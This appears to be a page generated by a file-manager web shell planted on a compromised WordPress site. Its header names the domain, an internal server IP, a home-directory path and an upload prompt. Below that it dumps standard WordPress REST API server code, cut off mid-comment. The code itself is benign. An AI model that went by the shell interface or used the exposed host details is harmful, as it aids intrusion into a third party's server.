Domain: antoinekatan.com
Server Adress: 10.127.20.23

privdayz.com

/home/xdxuekl/www/wp-includes/customize/
Dosya Yükle :
Current File : /home/xdxuekl/www/wp-includes/customize/rest-api.tar

class-wp-rest-server.php000064400000160527151724720270011307 0ustar00<?php
/**
 * REST API: WP_REST_Server class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.4.0
 */

/**
 * Core class used to implement the WordPress REST API server.
 *
 * @since 4.4.0
 */
#[AllowDynamicProperties]
class WP_REST_Server {

	/**
	 * Alias for GET transport method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const READABLE = 'GET';

	/**
	 * Alias for POST transport method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const CREATABLE = 'POST';

	/**
	 * Alias for POST, PUT, PATCH transport methods together.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const EDITABLE = 'POST, PUT, PATCH';

	/**
	 * Alias for DELETE transport method.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const DELETABLE = 'DELETE';

	/**
	 * Alias for GET, POST, PUT, PATCH & DELETE transport methods together.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	const ALLMETHODS = 'GET, POST, PUT, PATCH, DELETE';

	/**
	 * Namespaces registered to the server.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $namespaces = array();

	/**
	 * Endpoints registered to the server.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $endpoints = array();

	/**
	 * Options defined for the routes.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $route_options = array();

	/**
	 * Caches embedded requests.
	 *
	 * @since 5.4.0
	 * @var array
	 */
	protected $embed_cache = array();

	/**
	 * Stores request objects that are currently being handled.
	 *
	 * @since 6.5.0
	 * @var array
	 */
	protected $dispatching_requests = array();

	/**
	 * Instantiates the REST server.
	 *
	 * @since 4.4.0
	 */
	public function __construct() {
		$this->endpoints = array(
			// Meta endpoints.
			'/'         => array(
				'callback' => array( $this, 'get_index' ),
				'methods'  => 'GET',
				'args'     => array(
					'context' => array(
						'default' => 'view',
					),
				),
			),
			'/batch/v1' => array(
				'callback' => array( $this, 'serve_batch_request_v1' ),
				'methods'  => 'POST',
				'args'     => array(
					'validation' => array(
						'type'    => 'string',
						'enum'    => array( 'require-all-validate', 'normal' ),
						'default' => 'normal',
					),
					'requests'   => array(
						'required' => true,
						'type'     => 'array',
						'maxItems' => $this->get_max_batch_size(),
						'items'    => array(
							'type'       => 'object',
							'properties' => array(
								'method'  => array(
									'type'    => 'string',
									'enum'    => array( 'POST', 'PUT', 'PATCH', 'DELETE' ),
									'default' => 'POST',
								),
								'path'    => array(
									'type'     => 'string',
									'required' => true,
								),
								'body'    => array(
									'type'                 => 'object',
									'properties'           => array(),
									'additionalProperties' => true,
								),
								'headers' => array(
									'type'                 => 'object',
									'properties'           => array(),
									'additionalProperties' => array(
										'type'  => array( 'string', 'array' ),
										'items' => array(
											'type' => 'string',
										),
									),
								),
							),
						),
					),
				),
			),
		);
	}


	/**
	 * Checks the authentication headers if supplied.
	 *
	 * @since 4.4.0
	 *
	 * @return WP_Error|null|true WP_Error indicates unsuccessful login, null indicates successful
	 *                            or no authentication provided
	 */
	public function check_authentication() {
		/**
		 * Filters REST API authentication errors.
		 *
		 * This is used to pass a WP_Error from an authentication method back to
		 * the API.
		 *
		 * Authentication methods should check first if they're being used, as
		 * multiple authentication methods can be enabled on a site (cookies,
		 * HTTP basic auth, OAuth). If the authentication method hooked in is
		 * not actually being attempted, null should be returned to indicate
		 * another authentication method should check instead. Similarly,
		 * callbacks should ensure the value is `null` before checking for
		 * errors.
		 *
		 * A WP_Error instance can be returned if an error occurs, and this should
		 * match the format used by API methods internally (that is, the `status`
		 * data should be used). A callback can return `true` to indicate that
		 * the authentication method was used, and it succeeded.
		 *
		 * @since 4.4.0
		 *
		 * @param WP_Error|null|true $errors WP_Error if authentication error, null if authentication
		 *                                   method wasn't used, true if authentication succeeded.
		 */
		return apply_filters( 'rest_authentication_errors', null );
	}

	/**
	 * Converts an error to a response object.
	 *
	 * This iterates over all error codes and messages to change it into a flat
	 * array. This enables simpler client behavior, as it is represented as a
	 * list in JSON rather than an object/map.
	 *
	 * @since 4.4.0
	 * @since 5.7.0 Converted to a wrapper of {@see rest_convert_error_to_response()}.
	 *
	 * @param WP_Error $error WP_Error instance.
	 * @return WP_REST_Response List of associative arrays with code and message keys.
	 */
	protected function error_to_response( $error ) {
		return rest_convert_error_to_response( $error );
	}

	/**
	 * Retrieves an appropriate error representation in JSON.
	 *
	 * Note: This should only be used in WP_REST_Server::serve_request(), as it
	 * cannot handle WP_Error internally. All callbacks and other internal methods
	 * should instead return a WP_Error with the data set to an array that includes
	 * a 'status' key, with the value being the HTTP status to send.
	 *
	 * @since 4.4.0
	 *
	 * @param string $code    WP_Error-style code.
	 * @param string $message Human-readable message.
	 * @param int    $status  Optional. HTTP status code to send. Default null.
	 * @return string JSON representation of the error
	 */
	protected function json_error( $code, $message, $status = null ) {
		if ( $status ) {
			$this->set_status( $status );
		}

		$error = compact( 'code', 'message' );

		return wp_json_encode( $error );
	}

	/**
	 * Gets the encoding options passed to {@see wp_json_encode}.
	 *
	 * @since 6.1.0
	 *
	 * @param \WP_REST_Request $request The current request object.
	 *
	 * @return int The JSON encode options.
	 */
	protected function get_json_encode_options( WP_REST_Request $request ) {
		$options = 0;

		if ( $request->has_param( '_pretty' ) ) {
			$options |= JSON_PRETTY_PRINT;
		}

		/**
		 * Filters the JSON encoding options used to send the REST API response.
		 *
		 * @since 6.1.0
		 *
		 * @param int $options             JSON encoding options {@see json_encode()}.
		 * @param WP_REST_Request $request Current request object.
		 */
		return apply_filters( 'rest_json_encode_options', $options, $request );
	}

	/**
	 * Handles serving a REST API request.
	 *
	 * Matches the current server URI to a route and runs the first matching
	 * callback then outputs a JSON representation of the returned value.
	 *
	 * @since 4.4.0
	 *
	 * @see WP_REST_Server::dispatch()
	 *
	 * @global WP_User $current_user The currently authenticated user.
	 *
	 * @param string $path Optional. The request route. If not set, `$_SERVER['PATH_INFO']` will be used.
	 *                     Default null.
	 * @return null|false Null if not served and a HEAD request, false otherwise.
	 */
	public function serve_request( $path = null ) {
		/* @var WP_User|null $current_user */
		global $current_user;

		if ( $current_user instanceof WP_User && ! $current_user->exists() ) {
			/*
			 * If there is no current user authenticated via other means, clear
			 * the cached lack of user, so that an authenticate check can set it
			 * properly.
			 *
			 * This is done because for authentications such as Application
			 * Passwords, we don't want it to be accepted unless the current HTTP
			 * request is a REST API request, which can't always be identified early
			 * enough in evaluation.
			 */
			$current_user = null;
		}

		/**
		 * Filters whether JSONP is enabled for the REST API.
		 *
		 * @since 4.4.0
		 *
		 * @param bool $jsonp_enabled Whether JSONP is enabled. Default true.
		 */
		$jsonp_enabled = apply_filters( 'rest_jsonp_enabled', true );

		$jsonp_callback = false;
		if ( isset( $_GET['_jsonp'] ) ) {
			$jsonp_callback = $_GET['_jsonp'];
		}

		$content_type = ( $jsonp_callback && $jsonp_enabled ) ? 'application/javascript' : 'application/json';
		$this->send_header( 'Content-Type', $content_type . '; charset=' . get_option( 'blog_charset' ) );
		$this->send_header( 'X-Robots-Tag', 'noindex' );

		$api_root = get_rest_url();
		if ( ! empty( $api_root ) ) {
			$this->send_header( 'Link', '<' . sanitize_url( $api_root ) . '>; rel="https://api.w.org/"' );
		}

		/*
		 * Mitigate possible JSONP Flash attacks.
		 *
		 * https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
		 */
		$this->send_header( 'X-Content-Type-Options', 'nosniff' );

		/**
		 * Filters whether the REST API is enabled.
		 *
		 * @since 4.4.0
		 * @deprecated 4.7.0 Use the {@see 'rest_authentication_errors'} filter to
		 *                   restrict access to the REST API.
		 *
		 * @param bool $rest_enabled Whether the REST API is enabled. Default true.
		 */
		apply_filters_deprecated(
			'rest_enabled',
			array( true ),
			'4.7.0',
			'rest_authentication_errors',
			sprintf(
				/* translators: %s: rest_authentication_errors */
				__( 'The REST API can no longer be completely disabled, the %s filter can be used to restrict access to the API, instead.' ),
				'rest_authentication_errors'
			)
		);

		if ( $jsonp_callback ) {
			if ( ! $jsonp_enabled ) {
				echo $this->json_error( 'rest_callback_disabled', __( 'JSONP support is disabled on this site.' ), 400 );
				return false;
			}

			if ( ! wp_check_jsonp_callback( $jsonp_callback ) ) {
				echo $this->json_error( 'rest_callback_invalid', __( 'Invalid JSONP callback function.' ), 400 );
				return false;
			}
		}

		if ( empty( $path ) ) {
			if ( isset( $_SERVER['PATH_INFO'] ) ) {
				$path = $_SERVER['PATH_INFO'];
			} else {
				$path = '/';
			}
		}

		$request = new WP_REST_Request( $_SERVER['REQUEST_METHOD'], $path );

		$request->set_query_params( wp_unslash( $_GET ) );
		$request->set_body_params( wp_unslash( $_POST ) );
		$request->set_file_params( $_FILES );
		$request->set_headers( $this->get_headers( wp_unslash( $_SERVER ) ) );
		$request->set_body( self::get_raw_data() );

		/*
		 * HTTP method override for clients that can't use PUT/PATCH/DELETE. First, we check
		 * $_GET['_method']. If that is not set, we check for the HTTP_X_HTTP_METHOD_OVERRIDE
		 * header.
		 */
		$method_overridden = false;
		if ( isset( $_GET['_method'] ) ) {
			$request->set_method( $_GET['_method'] );
		} elseif ( isset( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] ) ) {
			$request->set_method( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] );
			$method_overridden = true;
		}

		$expose_headers = array( 'X-WP-Total', 'X-WP-TotalPages', 'Link' );

		/**
		 * Filters the list of response headers that are exposed to REST API CORS requests.
		 *
		 * @since 5.5.0
		 * @since 6.3.0 The `$request` parameter was added.
		 *
		 * @param string[]        $expose_headers The list of response headers to expose.
		 * @param WP_REST_Request $request        The request in context.
		 */
		$expose_headers = apply_filters( 'rest_exposed_cors_headers', $expose_headers, $request );

		$this->send_header( 'Access-Control-Expose-Headers', implode( ', ', $expose_headers ) );

		$allow_headers = array(
			'Authorization',
			'X-WP-Nonce',
			'Content-Disposition',
			'Content-MD5',
			'Content-Type',
		);

		/**
		 * Filters the list of request headers that are allowed for REST API CORS requests.
		 *
		 * The allowed headers are passed to the browser to specify which
		 * headers can be passed to the REST API. By default, we allow the
		 * Content-* headers needed to upload files to the media endpoints.
		 * As well as the Authorization and Nonce headers for allowing authentication.
		 *
		 * @since 5.5.0
		 * @since 6.3.0 The `$request` parameter was added.
		 *
		 * @param string[]        $allow_headers The list of request headers to allow.
		 * @param WP_REST_Request $request       The request in context.
		 */
		$allow_headers = apply_filters( 'rest_allowed_cors_headers', $allow_headers, $request );

		$this->send_header( 'Access-Control-Allow-Headers', implode( ', ', $allow_headers ) );

		$result = $this->check_authentication();

		if ( ! is_wp_error( $result ) ) {
			$result = $this->dispatch( $request );
		}

		// Normalize to either WP_Error or WP_REST_Response...
		$result = rest_ensure_response( $result );

		// ...then convert WP_Error across.
		if ( is_wp_error( $result ) ) {
			$result = $this->error_to_response( $result );
		}

		/**
		 * Filters the REST API response.
		 *
		 * Allows modification of the response before returning.
		 *
		 * @since 4.4.0
		 * @since 4.5.0 Applied to embedded responses.
		 *
		 * @param WP_HTTP_Response $result  Result to send to the client. Usually a `WP_REST_Response`.
		 * @param WP_REST_Server   $server  Server instance.
		 * @param WP_REST_Request  $request Request used to generate the response.
		 */
		$result = apply_filters( 'rest_post_dispatch', rest_ensure_response( $result ), $this, $request );

		// Wrap the response in an envelope if asked for.
		if ( isset( $_GET['_envelope'] ) ) {
			$embed  = isset( $_GET['_embed'] ) ? rest_parse_embed_param( $_GET['_embed'] ) : false;
			$result = $this->envelope_response( $result, $embed );
		}

		// Send extra data from response objects.
		$headers = $result->get_headers();
		$this->send_headers( $headers );

		$code = $result->get_status();
		$this->set_status( $code );

		/**
		 * Filters whether to send no-cache headers on a REST API request.
		 *
		 * @since 4.4.0
		 * @since 6.3.2 Moved the block to catch the filter added on rest_cookie_check_errors() from wp-includes/rest-api.php.
		 *
		 * @param bool $rest_send_nocache_headers Whether to send no-cache headers.
		 */
		$send_no_cache_headers = apply_filters( 'rest_send_nocache_headers', is_user_logged_in() );

		/*
		 * Send no-cache headers if $send_no_cache_headers is true,
		 * OR if the HTTP_X_HTTP_METHOD_OVERRIDE is used but resulted a 4xx response code.
		 */
		if ( $send_no_cache_headers || ( true === $method_overridden && str_starts_with( $code, '4' ) ) ) {
			foreach ( wp_get_nocache_headers() as $header => $header_value ) {
				if ( empty( $header_value ) ) {
					$this->remove_header( $header );
				} else {
					$this->send_header( $header, $header_value );
				}
			}
		}

		/**
		 * Filters whether the REST API request has already been served.
		 *
		 * Allow sending the request manually - by returning true, the API result
		 * will not be sent to the client.
		 *
		 * @since 4.4.0
		 *
		 * @param bool             $served  Whether the request has already been served.
		 *                                           Default false.
		 * @param WP_HTTP_Response $result  Result to send to the client. Usually a `WP_REST_Response`.
		 * @param WP_REST_Request  $request Request used to generate the response.
		 * @param WP_REST_Server   $server  Server instance.
		 */
		$served = apply_filters( 'rest_pre_serve_request', false, $result, $request, $this );

		if ( ! $served ) {
			if ( 'HEAD' === $request->get_method() ) {
				return null;
			}

			// Embed links inside the request.
			$embed  = isset( $_GET['_embed'] ) ? rest_parse_embed_param( $_GET['_embed'] ) : false;
			$result = $this->response_to_data( $result, $embed );

			/**
			 * Filters the REST API response.
			 *
			 * Allows modification of the response data after inserting
			 * embedded data (if any) and before echoing the response data.
			 *
			 * @since 4.8.1
			 *
			 * @param array            $result  Response data to send to the client.
			 * @param WP_REST_Server   $server  Server instance.
			 * @param WP_REST_Request  $request Request used to generate the response.
			 */
			$result = apply_filters( 'rest_pre_echo_response', $result, $this, $request );

			// The 204 response shouldn't have a body.
			if ( 204 === $code || null === $result ) {
				return null;
			}

			$result = wp_json_encode( $result, $this->get_json_encode_options( $request ) );

			$json_error_message = $this->get_json_last_error();

			if ( $json_error_message ) {
				$this->set_status( 500 );
				$json_error_obj = new WP_Error(
					'rest_encode_error',
					$json_error_message,
					array( 'status' => 500 )
				);

				$result = $this->error_to_response( $json_error_obj );
				$result = wp_json_encode( $result->data, $this->get_json_encode_options( $request ) );
			}

			if ( $jsonp_callback ) {
				// Prepend '/**/' to mitigate possible JSONP Flash attacks.
				// https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
				echo '/**/' . $jsonp_callback . '(' . $result . ')';
			} else {
				echo $result;
			}
		}

		return null;
	}

	/**
	 * Converts a response to data to send.
	 *
	 * @since 4.4.0
	 * @since 5.4.0 The `$embed` parameter can now contain a list of link relations to include.
	 *
	 * @param WP_REST_Response $response Response object.
	 * @param bool|string[]    $embed    Whether to embed all links, a filtered list of link relations, or no links.
	 * @return array {
	 *     Data with sub-requests embedded.
	 *
	 *     @type array $_links    Links.
	 *     @type array $_embedded Embedded objects.
	 * }
	 */
	public function response_to_data( $response, $embed ) {
		$data  = $response->get_data();
		$links = self::get_compact_response_links( $response );

		if ( ! empty( $links ) ) {
			// Convert links to part of the data.
			$data['_links'] = $links;
		}

		if ( $embed ) {
			$this->embed_cache = array();
			// Determine if this is a numeric array.
			if ( wp_is_numeric_array( $data ) ) {
				foreach ( $data as $key => $item ) {
					$data[ $key ] = $this->embed_links( $item, $embed );
				}
			} else {
				$data = $this->embed_links( $data, $embed );
			}
			$this->embed_cache = array();
		}

		return $data;
	}

	/**
	 * Retrieves links from a response.
	 *
	 * Extracts the links from a response into a structured hash, suitable for
	 * direct output.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Response $response Response to extract links from.
	 * @return array Map of link relation to list of link hashes.
	 */
	public static function get_response_links( $response ) {
		$links = $response->get_links();

		if ( empty( $links ) ) {
			return array();
		}

		// Convert links to part of the data.
		$data = array();
		foreach ( $links as $rel => $items ) {
			$data[ $rel ] = array();

			foreach ( $items as $item ) {
				$attributes         = $item['attributes'];
				$attributes['href'] = $item['href'];

				if ( 'self' !== $rel ) {
					$data[ $rel ][] = $attributes;
					continue;
				}

				$target_hints = self::get_target_hints_for_link( $attributes );
				if ( $target_hints ) {
					$attributes['targetHints'] = $target_hints;
				}

				$data[ $rel ][] = $attributes;
			}
		}

		return $data;
	}

	/**
	 * Gets the target links for a REST API Link.
	 *
	 * @since 6.7.0
	 *
	 * @param array $link
	 *
	 * @return array|null
	 */
	protected static function get_target_hints_for_link( $link ) {
		// Prefer targetHints that were specifically designated by the developer.
		if ( isset( $link['targetHints']['allow'] ) ) {
			return null;
		}

		$request = WP_REST_Request::from_url( $link['href'] );
		if ( ! $request ) {
			return null;
		}

		$server = rest_get_server();
		$match  = $server->match_request_to_handler( $request );

		if ( is_wp_error( $match ) ) {
			return null;
		}

		if ( is_wp_error( $request->has_valid_params() ) ) {
			return null;
		}

		if ( is_wp_error( $request->sanitize_params() ) ) {
			return null;
		}

		$target_hints = array();

		$response = new WP_REST_Response();
		$response->set_matched_route( $match[0] );
		$response->set_matched_handler( $match[1] );
		$headers = rest_send_allow_header( $response, $server, $request )->get_headers();

		foreach ( $headers as $name => $value ) {
			$name = WP_REST_Request::canonicalize_header_name( $name );

			$target_hints[ $name ] = array_map( 'trim', explode( ',', $value ) );
		}

		return $target_hints;
	}

	/**
	 * Retrieves the CURIEs (compact URIs) used for relations.
	 *
	 * Extracts the links from a response into a structured hash, suitable for
	 * direct output.
	 *
	 * @since 4.5.0
	 *
	 * @param WP_REST_Response $response Response to extract links from.
	 * @return array Map of link relation to list of link hashes.
	 */
	public static function get_compact_response_links( $response ) {
		$links = self::get_response_links( $response );

		if ( empty( $links ) ) {
			return array();
		}

		$curies      = $response->get_curies();
		$used_curies = array();

		foreach ( $links as $rel => $items ) {

			// Convert $rel URIs to their compact versions if they exist.
			foreach ( $curies as $curie ) {
				$href_prefix = substr( $curie['href'], 0, strpos( $curie['href'], '{rel}' ) );
				if ( ! str_starts_with( $rel, $href_prefix ) ) {
					continue;
				}

				// Relation now changes from '$uri' to '$curie:$relation'.
				$rel_regex = str_replace( '\{rel\}', '(.+)', preg_quote( $curie['href'], '!' ) );
				preg_match( '!' . $rel_regex . '!', $rel, $matches );
				if ( $matches ) {
					$new_rel                       = $curie['name'] . ':' . $matches[1];
					$used_curies[ $curie['name'] ] = $curie;
					$links[ $new_rel ]             = $items;
					unset( $links[ $rel ] );
					break;
				}
			}
		}

		// Push the curies onto the start of the links array.
		if ( $used_curies ) {
			$links['curies'] = array_values( $used_curies );
		}

		return $links;
	}

	/**
	 * Embeds the links from the data into the request.
	 *
	 * @since 4.4.0
	 * @since 5.4.0 The `$embed` parameter can now contain a list of link relations to include.
	 *
	 * @param array         $data  Data from the request.
	 * @param bool|string[] $embed Whether to embed all links or a filtered list of link relations.
	 * @return array {
	 *     Data with sub-requests embedded.
	 *
	 *     @type array $_links    Links.
	 *     @type array $_embedded Embedded objects.
	 * }
	 */
	protected function embed_links( $data, $embed = true ) {
		if ( empty( $data['_links'] ) ) {
			return $data;
		}

		$embedded = array();

		foreach ( $data['_links'] as $rel => $links ) {
			/*
			 * If a list of relations was specified, and the link relation
			 * is not in the list of allowed relations, don't process the link.
			 */
			if ( is_array( $embed ) && ! in_array( $rel, $embed, true ) ) {
				continue;
			}

			$embeds = array();

			foreach ( $links as $item ) {
				// Determine if the link is embeddable.
				if ( empty( $item['embeddable'] ) ) {
					// Ensure we keep the same order.
					$embeds[] = array();
					continue;
				}

				if ( ! array_key_exists( $item['href'], $this->embed_cache ) ) {
					// Run through our internal routing and serve.
					$request = WP_REST_Request::from_url( $item['href'] );
					if ( ! $request ) {
						$embeds[] = array();
						continue;
					}

					// Embedded resources get passed context=embed.
					if ( empty( $request['context'] ) ) {
						$request['context'] = 'embed';
					}

					if ( empty( $request['per_page'] ) ) {
						$matched = $this->match_request_to_handler( $request );
						if ( ! is_wp_error( $matched ) && isset( $matched[1]['args']['per_page']['maximum'] ) ) {
							$request['per_page'] = (int) $matched[1]['args']['per_page']['maximum'];
						}
					}

					$response = $this->dispatch( $request );

					/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
					$response = apply_filters( 'rest_post_dispatch', rest_ensure_response( $response ), $this, $request );

					$this->embed_cache[ $item['href'] ] = $this->response_to_data( $response, false );
				}

				$embeds[] = $this->embed_cache[ $item['href'] ];
			}

			// Determine if any real links were found.
			$has_links = count( array_filter( $embeds ) );

			if ( $has_links ) {
				$embedded[ $rel ] = $embeds;
			}
		}

		if ( ! empty( $embedded ) ) {
			$data['_embedded'] = $embedded;
		}

		return $data;
	}

	/**
	 * Wraps the response in an envelope.
	 *
	 * The enveloping technique is used to work around browser/client
	 * compatibility issues. Essentially, it converts the full HTTP response to
	 * data instead.
	 *
	 * @since 4.4.0
	 * @since 6.0.0 The `$embed` parameter can now contain a list of link relations to include.
	 *
	 * @param WP_REST_Response $response Response object.
	 * @param bool|string[]    $embed    Whether to embed all links, a filtered list of link relations, or no links.
	 * @return WP_REST_Response New response with wrapped data
	 */
	public function envelope_response( $response, $embed ) {
		$envelope = array(
			'body'    => $this->response_to_data( $response, $embed ),
			'status'  => $response->get_status(),
			'headers' => $response->get_headers(),
		);

		/**
		 * Filters the enveloped form of a REST API response.
		 *
		 * @since 4.4.0
		 *
		 * @param array            $envelope {
		 *     Envelope data.
		 *
		 *     @type array $body    Response data.
		 *     @type int   $status  The 3-digit HTTP status code.
		 *     @type array $headers Map of header name to header value.
		 * }
		 * @param WP_REST_Response $response Original response data.
		 */
		$envelope = apply_filters( 'rest_envelope_response', $envelope, $response );

		// Ensure it's still a response and return.
		return rest_ensure_response( $envelope );
	}

	/**
	 * Registers a route to the server.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route_namespace Namespace.
	 * @param string $route           The REST route.
	 * @param array  $route_args      Route arguments.
	 * @param bool   $override        Optional. Whether the route should be overridden if it already exists.
	 *                                Default false.
	 */
	public function register_route( $route_namespace, $route, $route_args, $override = false ) {
		if ( ! isset( $this->namespaces[ $route_namespace ] ) ) {
			$this->namespaces[ $route_namespace ] = array();

			$this->register_route(
				$route_namespace,
				'/' . $route_namespace,
				array(
					array(
						'methods'  => self::READABLE,
						'callback' => array( $this, 'get_namespace_index' ),
						'args'     => array(
							'namespace' => array(
								'default' => $route_namespace,
							),
							'context'   => array(
								'default' => 'view',
							),
						),
					),
				)
			);
		}

		// Associative to avoid double-registration.
		$this->namespaces[ $route_namespace ][ $route ] = true;

		$route_args['namespace'] = $route_namespace;

		if ( $override || empty( $this->endpoints[ $route ] ) ) {
			$this->endpoints[ $route ] = $route_args;
		} else {
			$this->endpoints[ $route ] = array_merge( $this->endpoints[ $route ], $route_args );
		}
	}

	/**
	 * Retrieves the route map.
	 *
	 * The route map is an associative array with path regexes as the keys. The
	 * value is an indexed array with the callback function/method as the first
	 * item, and a bitmask of HTTP methods as the second item (see the class
	 * constants).
	 *
	 * Each route can be mapped to more than one callback by using an array of
	 * the indexed arrays. This allows mapping e.g. GET requests to one callback
	 * and POST requests to another.
	 *
	 * Note that the path regexes (array keys) must have @ escaped, as this is
	 * used as the delimiter with preg_match()
	 *
	 * @since 4.4.0
	 * @since 5.4.0 Added `$route_namespace` parameter.
	 *
	 * @param string $route_namespace Optionally, only return routes in the given namespace.
	 * @return array `'/path/regex' => array( $callback, $bitmask )` or
	 *               `'/path/regex' => array( array( $callback, $bitmask ), ...)`.
	 */
	public function get_routes( $route_namespace = '' ) {
		$endpoints = $this->endpoints;

		if ( $route_namespace ) {
			$endpoints = wp_list_filter( $endpoints, array( 'namespace' => $route_namespace ) );
		}

		/**
		 * Filters the array of available REST API endpoints.
		 *
		 * @since 4.4.0
		 *
		 * @param array $endpoints The available endpoints. An array of matching regex patterns, each mapped
		 *                         to an array of callbacks for the endpoint. These take the format
		 *                         `'/path/regex' => array( $callback, $bitmask )` or
		 *                         `'/path/regex' => array( array( $callback, $bitmask ).
		 */
		$endpoints = apply_filters( 'rest_endpoints', $endpoints );

		// Normalize the endpoints.
		$defaults = array(
			'methods'       => '',
			'accept_json'   => false,
			'accept_raw'    => false,
			'show_in_index' => true,
			'args'          => array(),
		);

		foreach ( $endpoints as $route => &$handlers ) {

			if ( isset( $handlers['callback'] ) ) {
				// Single endpoint, add one deeper.
				$handlers = array( $handlers );
			}

			if ( ! isset( $this->route_options[ $route ] ) ) {
				$this->route_options[ $route ] = array();
			}

			foreach ( $handlers as $key => &$handler ) {

				if ( ! is_numeric( $key ) ) {
					// Route option, move it to the options.
					$this->route_options[ $route ][ $key ] = $handler;
					unset( $handlers[ $key ] );
					continue;
				}

				$handler = wp_parse_args( $handler, $defaults );

				// Allow comma-separated HTTP methods.
				if ( is_string( $handler['methods'] ) ) {
					$methods = explode( ',', $handler['methods'] );
				} elseif ( is_array( $handler['methods'] ) ) {
					$methods = $handler['methods'];
				} else {
					$methods = array();
				}

				$handler['methods'] = array();

				foreach ( $methods as $method ) {
					$method                        = strtoupper( trim( $method ) );
					$handler['methods'][ $method ] = true;
				}
			}
		}

		return $endpoints;
	}

	/**
	 * Retrieves namespaces registered on the server.
	 *
	 * @since 4.4.0
	 *
	 * @return string[] List of registered namespaces.
	 */
	public function get_namespaces() {
		return array_keys( $this->namespaces );
	}

	/**
	 * Retrieves specified options for a route.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route Route pattern to fetch options for.
	 * @return array|null Data as an associative array if found, or null if not found.
	 */
	public function get_route_options( $route ) {
		if ( ! isset( $this->route_options[ $route ] ) ) {
			return null;
		}

		return $this->route_options[ $route ];
	}

	/**
	 * Matches the request to a callback and call it.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_REST_Request $request Request to attempt dispatching.
	 * @return WP_REST_Response Response returned by the callback.
	 */
	public function dispatch( $request ) {
		$this->dispatching_requests[] = $request;

		/**
		 * Filters the pre-calculated result of a REST API dispatch request.
		 *
		 * Allow hijacking the request before dispatching by returning a non-empty. The returned value
		 * will be used to serve the request instead.
		 *
		 * @since 4.4.0
		 *
		 * @param mixed           $result  Response to replace the requested version with. Can be anything
		 *                                 a normal endpoint can return, or null to not hijack the request.
		 * @param WP_REST_Server  $server  Server instance.
		 * @param WP_REST_Request $request Request used to generate the response.
		 */
		$result = apply_filters( 'rest_pre_dispatch', null, $this, $request );

		if ( ! empty( $result ) ) {

			// Normalize to either WP_Error or WP_REST_Response...
			$result = rest_ensure_response( $result );

			// ...then convert WP_Error across.
			if ( is_wp_error( $result ) ) {
				$result = $this->error_to_response( $result );
			}

			array_pop( $this->dispatching_requests );
			return $result;
		}

		$error   = null;
		$matched = $this->match_request_to_handler( $request );

		if ( is_wp_error( $matched ) ) {
			$response = $this->error_to_response( $matched );
			array_pop( $this->dispatching_requests );
			return $response;
		}

		list( $route, $handler ) = $matched;

		if ( ! is_callable( $handler['callback'] ) ) {
			$error = new WP_Error(
				'rest_invalid_handler',
				__( 'The handler for the route is invalid.' ),
				array( 'status' => 500 )
			);
		}

		if ( ! is_wp_error( $error ) ) {
			$check_required = $request->has_valid_params();
			if ( is_wp_error( $check_required ) ) {
				$error = $check_required;
			} else {
				$check_sanitized = $request->sanitize_params();
				if ( is_wp_error( $check_sanitized ) ) {
					$error = $check_sanitized;
				}
			}
		}

		$response = $this->respond_to_request( $request, $route, $handler, $error );
		array_pop( $this->dispatching_requests );
		return $response;
	}

	/**
	 * Returns whether the REST server is currently dispatching / responding to a request.
	 *
	 * This may be a standalone REST API request, or an internal request dispatched from within a regular page load.
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the REST server is currently handling a request.
	 */
	public function is_dispatching() {
		return (bool) $this->dispatching_requests;
	}

	/**
	 * Matches a request object to its handler.
	 *
	 * @access private
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request The request object.
	 * @return array|WP_Error The route and request handler on success or a WP_Error instance if no handler was found.
	 */
	protected function match_request_to_handler( $request ) {
		$method = $request->get_method();
		$path   = $request->get_route();

		$with_namespace = array();

		foreach ( $this->get_namespaces() as $namespace ) {
			if ( str_starts_with( trailingslashit( ltrim( $path, '/' ) ), $namespace ) ) {
				$with_namespace[] = $this->get_routes( $namespace );
			}
		}

		if ( $with_namespace ) {
			$routes = array_merge( ...$with_namespace );
		} else {
			$routes = $this->get_routes();
		}

		foreach ( $routes as $route => $handlers ) {
			$match = preg_match( '@^' . $route . '$@i', $path, $matches );

			if ( ! $match ) {
				continue;
			}

			$args = array();

			foreach ( $matches as $param => $value ) {
				if ( ! is_int( $param ) ) {
					$args[ $param ] = $value;
				}
			}

			foreach ( $handlers as $handler ) {
				$callback = $handler['callback'];

				// Fallback to GET method if no HEAD method is registered.
				$checked_method = $method;
				if ( 'HEAD' === $method && empty( $handler['methods']['HEAD'] ) ) {
					$checked_method = 'GET';
				}
				if ( empty( $handler['methods'][ $checked_method ] ) ) {
					continue;
				}

				if ( ! is_callable( $callback ) ) {
					return array( $route, $handler );
				}

				$request->set_url_params( $args );
				$request->set_attributes( $handler );

				$defaults = array();

				foreach ( $handler['args'] as $arg => $options ) {
					if ( isset( $options['default'] ) ) {
						$defaults[ $arg ] = $options['default'];
					}
				}

				$request->set_default_params( $defaults );

				return array( $route, $handler );
			}
		}

		return new WP_Error(
			'rest_no_route',
			__( 'No route was found matching the URL and request method.' ),
			array( 'status' => 404 )
		);
	}

	/**
	 * Dispatches the request to the callback handler.
	 *
	 * @access private
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request  The request object.
	 * @param string          $route    The matched route regex.
	 * @param array           $handler  The matched route handler.
	 * @param WP_Error|null   $response The current error object if any.
	 * @return WP_REST_Response
	 */
	protected function respond_to_request( $request, $route, $handler, $response ) {
		/**
		 * Filters the response before executing any REST API callbacks.
		 *
		 * Allows plugins to perform additional validation after a
		 * request is initialized and matched to a registered route,
		 * but before it is executed.
		 *
